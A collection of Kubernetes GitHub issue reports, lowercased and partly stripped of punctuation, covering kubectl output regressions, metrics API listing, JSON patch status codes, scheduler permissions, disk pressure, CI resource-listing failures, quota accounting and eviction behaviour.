who cares about reproducibility should be able to access any supported version of the generator via flag. that probably means the interpretation of the command-line flags needs to be versioned, also.  it needs to be straightforward to discover and manage  update, delete  the generated objects, using either the generator schema or the native objects.  it needs to be possible to just generate the primitive api objects without creating them  via dry run or somesuch .  there should be a path towards accessing a non-trivial amount of the power of the api, though via somewhat opinionated idioms.   other planned config and deployment mechanisms should compose cleanly with it.  not all of this needs to be supported out the gate, but whatever we build needs to be a compatible subset. for instance, we should decide how to specify schema fields on the command line, what flags we should use for a dry run  generation only , etc.  we could also add a new command, say expand, which just translates yaml to json, invokes generators, performs other transformations, populates other fields set by kubectl, such as namespace, apiversion, kind, labels, annotations, etc., without creating the objects.  config generators should otherwise be invoked similarly to real api objects: get, create, update, delete. the generators would be invoked prior to any of the api calls in order to expand to the set of api objects. generators should support the standard object metadata, kind, apiversion, name, labels, annotations. other than for kind, the other fields will be propagated to all objects created. not all apiversions might be supported by a particular generator.

is this a bug report or feature request?  :\r   \r   what happened  :\r it looks like there are a handful of issues waiting on a bump of etcd to v3.3. is there any timeline on pushing this? is there any work already being done on this?\r

is this a bug report or feature request?  :\r  \r   what happened  :\r in kubectl v1.10.0 none of  kubectl get all ,  kubectl get po,svc  and  kubectl get pods --show-kind  show the kind of the resource type of the objects:\r \r    \r ▶ kubectl version --client --short\r client version: v1.10.0\r \r ▶ kubectl get all\r name                                   ready     status    restarts   age\r kubernetes-bootcamp-7689dc585d-52m4q   1/1       running   0          20h\r kubernetes-bootcamp-7689dc585d-f6fsz   1/1       running   0          20h\r \r name                  type        cluster-ip    external-ip   port s           age\r kubernetes            clusterip   10.96.0.1     <none>        443/tcp          22h\r kubernetes-bootcamp   nodeport    10.96.40.16   <none>        8080:31923/tcp   21h\r ...\r \r ▶ kubectl get po,svc\r name                                   ready     status    restarts   age\r kubernetes-bootcamp-7689dc585d-52m4q   1/1       running   0          20h\r kubernetes-bootcamp-7689dc585d-f6fsz   1/1       running   0          20h\r \r name                  type        cluster-ip    external-ip   port s           age\r kubernetes            clusterip   10.96.0.1     <none>        443/tcp          22h\r kubernetes-bootcamp   nodeport    10.96.40.16   <none>        8080:31923/tcp   21h\r \r ▶ kubectl get pods --show-kind\r name                                   ready     status    restarts   age\r kubernetes-bootcamp-7689dc585d-52m4q   1/1       running   0          20h\r kubernetes-bootcamp-7689dc585d-f6fsz   1/1       running   0          20h\r    \r \r   what you expected to happen  :\r the same behavior as in kubectl v1.9.6, that the resource type is added to the name:\r    \r ▶ ~/kubectl-test/kubectl-1.9.6 version --client --short\r client version: v1.9.6\r \r ▶ ~/kubectl-test/kubectl-1.9.6 get all\r name                                      ready     status    restarts   age\r po/kubernetes-bootcamp-7689dc585d-52m4q   1/1       running   0          20h\r po/kubernetes-bootcamp-7689dc585d-f6fsz   1/1       running   0          20h\r \r name                      type        cluster-ip    external-ip   port s           age\r svc/kubernetes            clusterip   10.96.0.1     <none>        443/tcp          22h\r svc/kubernetes-bootcamp   nodeport    10.96.40.16   <none>        8080:31923/tcp   21h\r ...\r \r ▶ ~/kubectl-test/kubectl-1.9.6 get po,svc\r name                                      ready     status    restarts   age\r po/kubernetes-bootcamp-7689dc585d-52m4q   1/1       running   0          20h\r po/kubernetes-bootcamp-7689dc585d-f6fsz   1/1       running   0          20h\r \r name                      type        cluster-ip    external-ip   port s           age\r svc/kubernetes            clusterip   10.96.0.1     <none>        443/tcp          22h\r svc/kubernetes-bootcamp   nodeport    10.96.40.16   <none>        8080:31923/tcp   21h\r \r ▶ ~/kubectl-test/kubectl-1.9.6 get pods --show-kind\r name                                      ready     status    restarts   age\r po/kubernetes-bootcamp-7689dc585d-52m4q   1/1       running   0          20h\r po/kubernetes-bootcamp-7689dc585d-f6fsz   1/1       running   0          20h\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl get all  with kubectl v1.10.0\r \r   anything else we need to know?  :\r the regression is also on the  master  branch when i built kubernetes myself.\r

metrics v1beta1 resources can't be listed by kubectl 1.10.  it's probably an artifact of kind vs resource split, but this is broken and should work  this is a valid aggregated api with a valid discovery doc .\r \r    \r $ kubectl get pods.v1beta1.metrics.k8s.io\r error: the server doesn't have a resource type \ pods\ \r $ kubectl describe pods.v1beta1.metrics.k8s.io\r error: the server doesn't have a resource type \ pods\ \r $ kubectl get --raw /apis/metrics.k8s.io/v1beta1/\r {\ kind\ :\ apiresourcelist\ ,\ apiversion\ :\ v1\ ,\ groupversion\ :\ metrics.k8s.io/v1beta1\ ,\ resources\ : {\ name\ :\ nodes\ ,\ singularname\ :\ \ ,\ namespaced\ :false,\ kind\ :\ nodemetrics\ ,\ verbs\ : \ get\ ,\ list\  },{\ name\ :\ pods\ ,\ singularname\ :\ \ ,\ namespaced\ :true,\ kind\ :\ podmetrics\ ,\ verbs\ : \ get\ ,\ list\  } }\r    \r \r expected:\r \r kubectl get should have listed the types by trying to get custom columns for the metrics endpoint  which will be the next bug  or fall back to default display output.  this violates our rules that well formed aggregated apis should be automatically be listable or describable via the cli.\r \r i consider this a 1.12 release blocker since this is a beta api that is part of the core\r \r @kubernetes/sig-cli-bugs @kubernetes/sig-autoscaling-bugs

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r if you make an rfc6902 json patch request to the server that contains an operation that is not allowed, for example adding an arbitrary property to a deployment.\r the server returns the unchanged resource with a 200 ok.\r \r   what you expected to happen  :\r \r 200 ok signals that all operations as stated by the client were applied successfully, which they were clearly not, as the returned object does not have the  arbitrary  property.\r \r 422 unprocessible entity seems the most appropriate here:\r \r > unprocessable request:  can be specified with a 422  unprocessable\r >       entity  response   rfc4918 , section 11.2  when the server\r >       understands the patch document and the syntax of the patch\r >       document appears to be valid, but the server is incapable of\r >       processing the request.  this might include attempts to modify a\r >       resource in a way that would cause the resource to become invalid;\r >       for instance, a modification to a well-formed xml document that\r >       would cause it to no longer be well-formed.  there may also be\r >       more specific errors like \ conflicting state\  that could be\r >       signaled with this status code, but the more specific error would\r >       generally be more helpful.\r \r https://tools.ietf.org/html/rfc5789 section-2.2\r \r   how to reproduce it  as minimally and precisely as possible   :\r patch a deployment with  contenttype: application/json-patch+json  and body\r    json\r  {\ op\ : \ add\ , \ value\ : 123, \ path\ : \ /arbitrary\ } \r    \r \r   anything else we need to know?  :\r \r related https://github.com/kubernetes/kubernetes/issues/68202, https://github.com/kubernetes/kubernetes/issues/68224, https://github.com/kubernetes/kubernetes/issues/54423, \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : macos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r the kube-scheduler crashes with v1.13 as it is missing the required permissions for delegated authentication:\r    \r w1205 10:35:37.728989       1 authentication.go:248  unable to get configmap/extension-apiserver-authentication in kube-system.  usually fixed by 'kubectl create rolebinding -n kube-system role_name --role=extension-apiserver-authentication-reader --serviceaccount=your_ns:your_sa'\r configmaps \ extension-apiserver-authentication\  is forbidden: user \ system:kube-scheduler\  cannot get resource \ configmaps\  in api group \ \  in the namespace \ kube-system\ \r    \r \r kube-scheduler runs in a different kubernetes cluster.\r \r v1.12 does not have the  --authentication-kubeconfig  flag - and it does not try to load the configmap kube-system/extension-apiserver-authentication\r \r v1.13 without  --authentication-kubeconfig  uses the in-cluster client - pointing to the wrong cluster & fails loading the configmap kube-system/extension-apiserver-authentication\r \r v1.13 with  --authentication-kubeconfig  uses the provided kubeconfig, but still fails loading the configmap kube-system/extension-apiserver-authentication as the user  system:kube-scheduler  does not have the required permission to read it.\r \r   what you expected to happen  :\r 1. the kube-scheduler has the correct permission by default to handle delegated authentication\r 2. the kube-scheduler handles this case gracefully by not serving on the secure port. see https://github.com/kubernetes/kubernetes/pull/71743 issuecomment-444561450\r \r   how to reproduce it  as minimally and precisely as possible   :\r start a v1.13.0 kube-scheduler  not inside the cluster  with the following flags:\r    \r --kubeconfig /etc/kubernetes/kubeconfig/kubeconfig\r --authentication-kubeconfig /etc/kubernetes/kubeconfig/kubeconfig\r    \r \r   anything else we need to know?  :\r the environment:\r kube-scheduler runs in a different kubernetes cluster.\r \r introduced in  69663\r this is a tracking issue triggered by: https://github.com/kubernetes/kubernetes/pull/71743\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.0\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r we have a kube cluster in azure, which runs into disk pressure when using one node. the cluster has about 700gb storage available but it is not using it. when looking into the node, most of the mount is used by docker. also when requesting information about the node using kubectl, it shows plenty of allocatable storage left. \r \r the following questions come to mind:\r 1. why is the kublet not using the available space  increasing /dev/sda1 mount ?\r 2. why are old docker container not removed by garbage collection, altough 80% trigger is met?\r 3. why is the describe command showing allocatable storage, that is not real?\r \r   what you expected to happen  :\r 1. kublet use the complete 700gb before running into disk pressure.\r 2. old docker containers are removed before running into disk pressure.\r 3. describe command should show correct left space on mount.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubectl describe node aks-agentpool-34799199-0  shows allocatable storage  28043041951 -> 28gb :\r    \r capacity:\r  cpu:                12\r  ephemeral-storage:  30428648ki\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             115515412ki\r  nvidia.com/gpu:     0\r  pods:               110\r allocatable:\r  cpu:                11901m\r  ephemeral-storage:  28043041951\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             106647572ki\r  nvidia.com/gpu:     0\r  pods:               110\r    \r \r when ssh into the node, the storage is not there  causes disk pressure  but still 670gb are available to use:\r    \r udev             56g     0   56g   0% /dev\r tmpfs            12g   40m   11g   1% /run\r /dev/sda1        30g   27g  2.4g  93% /\r tmpfs            56g     0   56g   0% /dev/shm\r tmpfs           5.0m     0  5.0m   0% /run/lock\r tmpfs            56g     0   56g   0% /sys/fs/cgroup\r /dev/sdb1       670g   70m  636g   1% /mnt\r tmpfs            12g     0   12g   0% /run/user/1001\r    \r \r the inodes are not a problem:\r    \r df -i\r filesystem       inodes  iused    ifree iuse% mounted on\r udev           14436779    450 14436329    1% /dev\r tmpfs          14439426    608 14438818    1% /run\r /dev/sda1       3840000 554395  3285605   15% /\r tmpfs          14439426      1 14439425    1% /dev/shm\r tmpfs          14439426      3 14439423    1% /run/lock\r tmpfs          14439426     17 14439409    1% /sys/fs/cgroup\r /dev/sdb1      44564480     12 44564468    1% /mnt\r tmpfs          14439426      4 14439422    1% /run/user/1001\r    \r \r the storage is mainly used by docker  which could be removed since no pod is using them :\r    \r sudo du -sh /var/lib/docker\r 23g     /var/lib/docker\r    \r \r   anything else we need to know?  :\r cluster cannot be used when only using the one  disk pressured  node. no pods can start, old ones crash.\r \r   environment  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:31:35z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r cloud proivder is azure, hw per node is:\r vcpus: 12 \r ram  gb : 112 \r temporary storage: 680gb\r \r \r other tools installed: kubeflow\r \r thank you very much.\r

resource.builder should allow  all/foo  and  all foo  since both are unambiguous.  not super high priority, but makes  delete all  annoying when you want to delete several things that are named the same.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   jobs affected by failures  :\r    ci-kubernetes-e2e-gci-gce  \r    ci-kubernetes-e2e-gce-device-plugin-gpu  \r    ci-kubernetes-e2e-gci-gce-slow  \r    ci-kubernetes-e2e-gci-gce-alpha-features \r    ci-kubernetes-e2e-gci-gce-scalability \r    ci-kubernetes-e2e-gci-gce-ingress \r    ci-kubernetes-e2e-gci-gce-reboot \r \r   which test s  are failing  :\r   in  ci-kubernetes-e2e-gci-gce  \r       listresources after   https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/1117764911116587008 \r   in  ci-kubernetes-e2e-gce-device-plugin-gpu \r        listresources after   https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-device-plugin-gpu/1117752328045203457 \r   in  ci-kubernetes-e2e-gci-gce-slow \r       listresources after   https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/1117765161269071872 \r   in  ci-kubernetes-e2e-gci-gce-alpha-features \r      listresources before \r      listresources down \r      diffresources \r   in  ci-kubernetes-e2e-gci-gce-scalability \r      listresources down  failed 2 out of the 3 last runs.\r      listresources after  failed 2 out of the 3 last runs, it is not currently failing.\r      listresources up  failed 2 out of the 3 last runs, it is not currently failing.\r      listresources before  failed 1 out of the 3 last runs, it is not currently failing.\r   in  ci-kubernetes-e2e-gci-gce-ingress \r      listresource up \r      listresource down \r      listresources after \r   in  ci-kubernetes-e2e-gci-gce-reboot \r      listresources after \r \r   since when has it been failing  :\r   in  ci-kubernetes-e2e-gci-gce \r     failure appeared on 4/15 at 5:21 pdt \r     kubernetes/kuberentes diff c09cfb717 117160a9e\r     test-infra diff 764cad593 126cb79be    \r   in  ci-kubernetes-e2e-gce-device-plugin-gpu \r     failure appeared on 4/15 at 4:31 pdt\r     kubernetes/kubernetes diff c09cfb717 117160a9e\r     test-infra on 126cb79be\r   in  ci-kubernetes-e2e-gci-gce-slow \r      failure appeared on 4/15 at 5:22 pdt\r     kubernetes/kubernetes diff c09cfb717 117160a9e coincides with failure\r     test-infra 764cad593 126cb79be\r   in  ci-kubernetes-e2e-gci-gce-alpha-features \r     first failure happened on 4/15 at 3:08 pdt. \r     kubernetes/kubernetes diff c09cfb717 117160a9e \r     test-infra diff 764cad593 126cb79be\r   in  ci-kubernetes-e2e-gci-gce-scalability \r     first failure happened on 4/15 at 3:58 pdt\r     kubernetes/kuberentes diff c09cfb717 117160a9e coincides with failure\r     test-infra diff 764cad593 126cb79b\r   in  ci-kubernetes-e2e-gci-gce-ingress \r     first failure occurred on 4/15 at 3:54 pdt\r     kubernetes/kubernetes diff 117160a9e 18533fe84 coincides with failure\r     test-infra on 126cb79be\r   in  ci-kubernetes-e2e-gci-gce-reboot \r     first failure occurred on 4/15 at 3:52 pdt\r     kubernetes/kubernetes diff 117160a9e 18533fe84 coincides . with failures\r     test-infra on 126cb79be\r \r \r   testgrid link  :\r    ci-kubernetes-e2e-gci-gce : https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-default\r    ci-kubernetes-e2e-gce-device-plugin-gpu : https://testgrid.k8s.io/sig-release-master-blocking gce-device-plugin-gpu-master\r    ci-kubernetes-e2e-gci-gce-slow : https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-slow\r     ci-kubernetes-e2e-gci-gce-alpha-features : https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-alpha-features\r    ci-kubernetes-e2e-gci-gce-scalability : https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-scalability-100\r    ci-kubernetes-e2e-gci-gce-ingress : https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-ingress\r    ci-kubernetes-e2e-gci-gce-reboot :  https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-reboot\r \r \r   reason for failure  :\r    ci-kubernetes-e2e-gci-gce . see  spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/1117764911116587008 \r    \r failed to list resources  error during ./cluster/gce/list-resources.sh: exit status 2 :\r project: k8s-jkns-e2e-kubeadm-gce-ci\r region: \r zone: \r instance prefix: bootstrap-e2e\r network: bootstrap-e2e\r provider: gce\r   compute instance-templates  \r \r   compute instance-groups  \r \r   compute instances  \r    \r \r    ci-kubernetes-e2e-gce-device-plugin-gpu , see  spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-device-plugin-gpu/1117752328045203457 \r    \r failed to list resources  error during ./cluster/gce/list-resources.sh: exit status 2 :\r project: k8s-jkns-e2e-gke-gpus\r region: \r zone: \r instance prefix: bootstrap-e2e\r network: bootstrap-e2e\r provider: gce\r \r   compute instance-templates  \r \r   compute instance-groups  \r \r   compute instances  \r    \r   in  ci-kubernetes-e2e-gci-gce-slow , see  spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/1117765161269071872 \r    \r failed to list resources  error during ./cluster/gce/list-resources.sh: exit status 2 :\r project: k8s-jkns-clusterloader\r region: \r zone: \r instance prefix: bootstrap-e2e\r network: bootstrap-e2e\r provider: gce\r \r   compute instance-templates  \r \r   compute instance-groups  \r \r   compute instances  \r    \r   in  ci-kubernetes-e2e-gci-gce-alpha-features , see  spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/1117763400424755202 \r \r   listresources before  \r    \r failed to list resources  error during ./cluster/gce/list-resources.sh: exit status 2 :\r project: k8s-jkns-gce-ubuntu-1-6-slow\r region: \r zone: \r instance prefix: bootstrap-e2e\r network: bootstrap-e2e\r provider: gce\r \r   compute instance-templates  \r \r   compute instance-groups  \r \r   compute instances  \r    \r   listresources down  \r    \r failed to list resources  error during ./cluster/gce/list-resources.sh: exit status 2 :\r project: k8s-jkns-gce-ubuntu-1-6-slow\r region: \r zone: \r instance prefix: bootstrap-e2e\r network: bootstrap-e2e\r provider: gce\r \r   compute instance-templates  \r name                                 machine_type   preemptible  creation_timestamp\r bootstrap-e2e-minion-template        n1-standard-2               2019-04-15t05:20:06.682-07:00\r bootstrap-e2e-windows-node-template  n1-standard-2               2019-04-15t05:20:13.828-07:00\r \r   compute instance-groups  \r name                        location    scope  network        managed  instances\r bootstrap-e2e-minion-group  us-west1-b  zone   bootstrap-e2e  yes      3\r \r   compute instances  \r    \r   diffresources  \r    \r error: 34 leaked resources\r +  compute disks  \r +  compute addresses  \r +  compute routes  \r +name                            network  dest_range     next_hop                  priority\r +default-route-106ddc8ac41d837d  default  10.152.0.0/20  default                   1000\r +default-route-2a15fc785e01cac6  default  10.128.0.0/20  default                   1000\r +default-route-4504d509cfe64019  default  10.142.0.0/20  default                   1000\r +default-route-4c1ebb5261806daf  default  10.132.0.0/20  default                   1000\r +default-route-506a3c1d08c0b7d4  default  10.164.0.0/20  default                   1000\r +default-route-79d6a6d73ed16ada  default  10.154.0.0/20  default                   1000\r +default-route-8ace5deb1bed0c36  default  10.166.0.0/20  default                   1000\r +default-route-8b5408c1eb57a62a  default  10.160.0.0/20  default                   1000\r +default-route-8b86be384612b907  default  10.170.0.0/20  default                   1000\r +default-route-966264f4cfc0cbbd  default  10.150.0.0/20  default                   1000\r +default-route-97b1c743fb2df7cb  default  10.148.0.0/20  default                   1000\r +default-route-9822df6732ae40e4  default  10.138.0.0/20  default                   1000\r +default-route-a2ceee605cb420af  default  10.168.0.0/20  default                   1000\r +default-route-aab74676b8ef459e  default  10.172.0.0/20  default                   1000\r +default-route-acba5fb3b4800be0  default  10.156.0.0/20  default                   1000\r +default-route-ae554e1c43c59149  default  10.174.0.0/20  default                   1000\r +default-route-b04cfab0bec3511f  default  10.158.0.0/20  default                   1000\r +default-route-ba19f1b7b73d17be  default  10.162.0.0/20  default                   1000\r +default-route-c07dc7e7ab4e5554  default  10.140.0.0/20  default                   1000\r +default-route-cf7310f47a88d31b  default  0.0.0.0/0      default-internet-gateway  1000\r +default-route-ed0ae002860a5a75  default  10.146.0.0/20  default                   1000\r +  compute firewall-rules  \r +name                    network  direction  priority  allow                         deny  disabled\r +default-allow-icmp      default  ingress    65534     icmp                                false\r +default-allow-internal  default  ingress    65534     tcp:0-65535,udp:0-65535,icmp        false\r +default-allow-rdp       default  ingress    65534     tcp:3389                            false\r +default-allow-ssh       default  ingress    65534     tcp:22                              false\r +  compute forwarding-rules  \r +  compute target-pools  \r +  logging sinks  \r    \r   in  ci-kubernetes-e2e-gci-gce-scalability , see  spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/1117767929283219459 \r   listresources down  \r    \r failed to list resources  error during ./cluster/gce/list-resources.sh: exit status 2 :\r project: k8s-e2e-gce-scalability-1-2\r region: \r zone: \r instance prefix: e2e-big\r network: e2e-big\r provider: gce\r \r   compute instance-templates  \r name                           machine_type   preemptible  creation_timestamp\r e2e-big-minion-template        n1-standard-1               2019-04-15t05:40:16.696-07:00\r e2e-big-windows-node-template  n1-standard-1               2019-04-15t05:40:23.610-07:00\r \r   compute instance-groups  \r name                  location    scope  network  managed  instances\r e2e-big-minion-group  us-east1-b  zone   e2e-big  yes      100\r \r   compute instances  \r    \r   in  ci-kubernetes-e2e-gci-gce-ingress , see  spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress/1117743014706417667 \r   listresources up  \r    \r failed to list resources  error during ./cluster/gce/list-resources.sh: exit status 2 :\r project: k8s-ingress-boskos-10\r region: \r zone: \r instance prefix: bootstrap-e2e\r network: bootstrap-e2e\r provider: gce\r \r   compute instance-templates  \r name                                 machine_type   preemptible  creation_timestamp\r bootstrap-e2e-minion-template        n1-standard-2               2019-04-15t03:58:13.687-07:00\r bootstrap-e2e-windows-node-template  n1-standard-2               2019-04-15t03:58:20.199-07:00\r \r   compute instance-groups  \r name                        location           scope  network        managed  instances\r bootstrap-e2e-minion-group  asia-southeast1-a  zone   bootstrap-e2e  yes      3\r \r   compute instances  \r    \r   listresources down  \r    \r failed to list resources  error during ./cluster/gce/list-resources.sh: exit status 2 :\r project: k8s-ingress-boskos-10\r region: \r zone: \r instance prefix: bootstrap-e2e\r network: bootstrap-e2e\r provider: gce\r \r   compute instance-templates  \r name                                 machine_type   preemptible  creation_timestamp\r bootstrap-e2e-minion-template        n1-standard-2               2019-04-15t03:58:13.687-07:00\r bootstrap-e2e-windows-node-template  n1-standard-2               2019-04-15t03:58:20.199-07:00\r \r   compute instance-groups  \r name                        location           scope  network        managed  instances\r bootstrap-e2e-minion-group  asia-southeast1-a  zone   bootstrap-e2e  yes      3\r \r   compute instances  \r    \r   listresources after  \r    \r failed to list resources  error during ./cluster/gce/list-resources.sh: exit status 2 :\r project: k8s-ingress-boskos-10\r region: \r zone: \r instance prefix: bootstrap-e2e\r network: bootstrap-e2e\r provider: gce\r \r   compute instance-templates  \r \r   compute instance-groups  \r \r   compute instances  \r    \r   in  ci-kubernetes-e2e-gci-gce-reboot , see  spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-reboot/1117774219334127617 \r   listresources after  \r    \r failed to list resources  error during ./cluster/gce/list-resources.sh: exit status 2 :\r project: gce-gci-upg-1-4-1-3-ctl-skew\r region: \r zone: \r instance prefix: err-e2e\r network: err-e2e\r provider: gce\r \r   compute instance-templates  \r \r   compute instance-groups  \r \r   compute instances  \r    \r \r   anything else we need to know:  \r most of the test failures mentioned in this issue coincide with changes on kubernetes/kubernetes between  c09cfb7 117160a  https://github.com/kubernetes/kubernetes/compare/117160a...c09cfb7  and\r  117160a 18533fe  https://github.com/kubernetes/kubernetes/compare/18533fe...117160a , however the latter occurred before the former and the failures can be observed in  ci-kubernetes-e2e-gci-gce-ingress and  ci-kubernetes-e2e-gci-gce-reboot .\r \r   update  : the failures seem to be clearing up in most of the tests. we should give a couple more hours to see if any further action needs to be taken.\r \r \r  / /milestone v1.15\r    \r /cc @jimangel @smourapina @rarchk @alenkacz\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r when attempting to resubmit a pod that is subject to a resource quota, the request is rejected but the pod's resources are added to the resource quota's current usage.\r \r   what you expected to happen  :\r \r the request should be rejected without any side effects.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    bash\r $ kubectl version | grep server\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:02:58z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r $ cat pod.yaml\r kind: pod\r apiversion: v1\r metadata:\r     name: some-pod\r     namespace: kh-test\r spec:\r     restartpolicy: always\r     containers:\r         - name: container\r           image: busybox\r           args:  'sleep', '100000000' \r           resources:\r               requests:\r                   memory: 1g\r                   cpu: 1000m\r $ kubectl -n kh-test get resourcequota quota -o yaml\r apiversion: v1\r kind: resourcequota\r metadata:\r   creationtimestamp: 2019-04-17t18:43:21z\r   name: quota\r   namespace: kh-test\r   resourceversion: \ 656781\ \r   selflink: /api/v1/namespaces/kh-test/resourcequotas/quota\r   uid: acae9154-6140-11e9-bbd2-9c621c21fe15\r spec:\r   hard:\r     cpu: \ 8\ \r     memory: 10gi\r status:\r   hard:\r     cpu: \ 8\ \r     memory: 10gi\r   used:\r     cpu: \ 0\ \r     memory: \ 0\ \r $ kubectl --validate=false create -f pod.yaml\r pod \ some-pod\  created\r $ kubectl -n kh-test get resourcequota quota -o yaml | grep -a 2 used\r   used:\r     cpu: \ 1\ \r     memory: 1g\r $ kubectl --validate=false create -f pod.yaml\r error from server  alreadyexists : error when creating \ pod.yaml\ : pods \ some-pod\  already exists\r $ kubectl -n kh-test get resourcequota quota -o yaml | grep -a 2 used\r   used:\r     cpu: \ 2\ \r     memory: 2g\r $ kubectl --validate=false create -f pod.yaml\r error from server  alreadyexists : error when creating \ pod.yaml\ : pods \ some-pod\  already exists\r $ kubectl -n kh-test get resourcequota quota -o yaml | grep -a 2 used\r   used:\r     cpu: \ 3\ \r     memory: 3g\r $ kubectl -n kh-test get pods\r name       ready     status    restarts   age\r some-pod   1/1       running   0          8s\r $\r    \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  :  1.14.1 \r - cloud provider or hardware configuration: minikube version v1.0.0, with: \r    \r minikube start --cpus=8 --memory=48000 --disk-size=100g \\\r --vm-driver kvm2 \\\r --extra-config=apiserver.enable-admission-plugins=namespacelifecycle,limitranger,\\\r serviceaccount,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,\\\r mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota \\\r --kubernetes-version=\ v1.14.1\ \r    \r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i  create a image centos_etcd_socat from the base image centos. i want to create a pod.  the content follows: ! image  https://cloud.githubusercontent.com/assets/4027296/11402738/67340eb6-93d4-11e5-9e46-e8c0a22cefeb.png   when i create the pod ,the pod is always restart .  name                ready     status    restarts   age       node nginx                       1/1       running         1               35d       127.0.0.1 nodeselectiontest    1/1       running         0               3h         127.0.0.1 testetcd                    0/1       running        12             41m       192.168.10.10 testubuntu                1/1       running        1               1d          192.168.10.10  why the pod is always restart?

description of problem  : mount a emptydir in pod  /tmp  then create large file in emptydir to trigger nodefs.available eviction, when pod become evicted, the large file can't be removed, node always keep in diskpressure     kubernetes version    use  kubectl version  : v1.5.0-alpha.1.804+a7db9bccb56abf-dirty    what happened  : file in emptydir can't be removed after pod become evicted, and node always keep in diskpressure=true    what you expected to happen  : file in emptydir should be removed after pod become evicted, and node become diskpressure=false after a period.    how to reproduce it    as minimally and precisely as possible :      1. configure kubelet with eviction-soft --eviction-soft=\ nodefs.available<3gi\  --eviction-soft-grace-period=\ nodefs.available=20s\  --eviction-pressure-transition-period=30s  2. create a pod with emptydir $ kubectl create -f https://raw.githubusercontent.com/mdshuai/testfile-openshift/master/k8s/hello-pod.yaml  3. create a large file in pod /tmp dir $ kubectl exec hello-pod -- dd if=/dev/zero of=/tmp/test1 bs=10m count=1024  4. wait pod become evicted then check node status and file in emptydir  root@ip-172-18-6-200 kubernetes   kubectl get pod name        ready     status    restarts   age hello-pod   0/1       evicted   0          23m  root@ip-172-18-6-200 kubernetes   kubectl describe node 127.0.0.1|grep diskpressure   diskpressure      true    mon, 24 oct 2016 02:56:22 -0400     mon, 24 oct 2016 02:33:01 -0400     kubelethasdiskpressure      kubelet has disk pressure   29m       29m     2   {kubelet 127.0.0.1}         normal      nodehasnodiskpressure   node 127.0.0.1 status is now: nodehasnodiskpressure   23m       23m     1   {kubelet 127.0.0.1}         normal      nodehasdiskpressure node 127.0.0.1 status is now: nodehasdiskpressure  root@ip-172-18-6-200 kubernetes   ls -lh /var/lib/kubelet/pods/8095536f-99b3-11e6-9bc0-0ebd788c9e1f/volumes/kubernetes.io~empty-dir/tmp/test1 -rw-r--r--. 1 root root 5.3g oct 24 02:33 /var/lib/kubelet/pods/8095536f-99b3-11e6-9bc0-0ebd788c9e1f/volumes/kubernetes.io~empty-dir/tmp/test1         anything else do we need to know  : when delete the pod the large file in emptydir then removed.

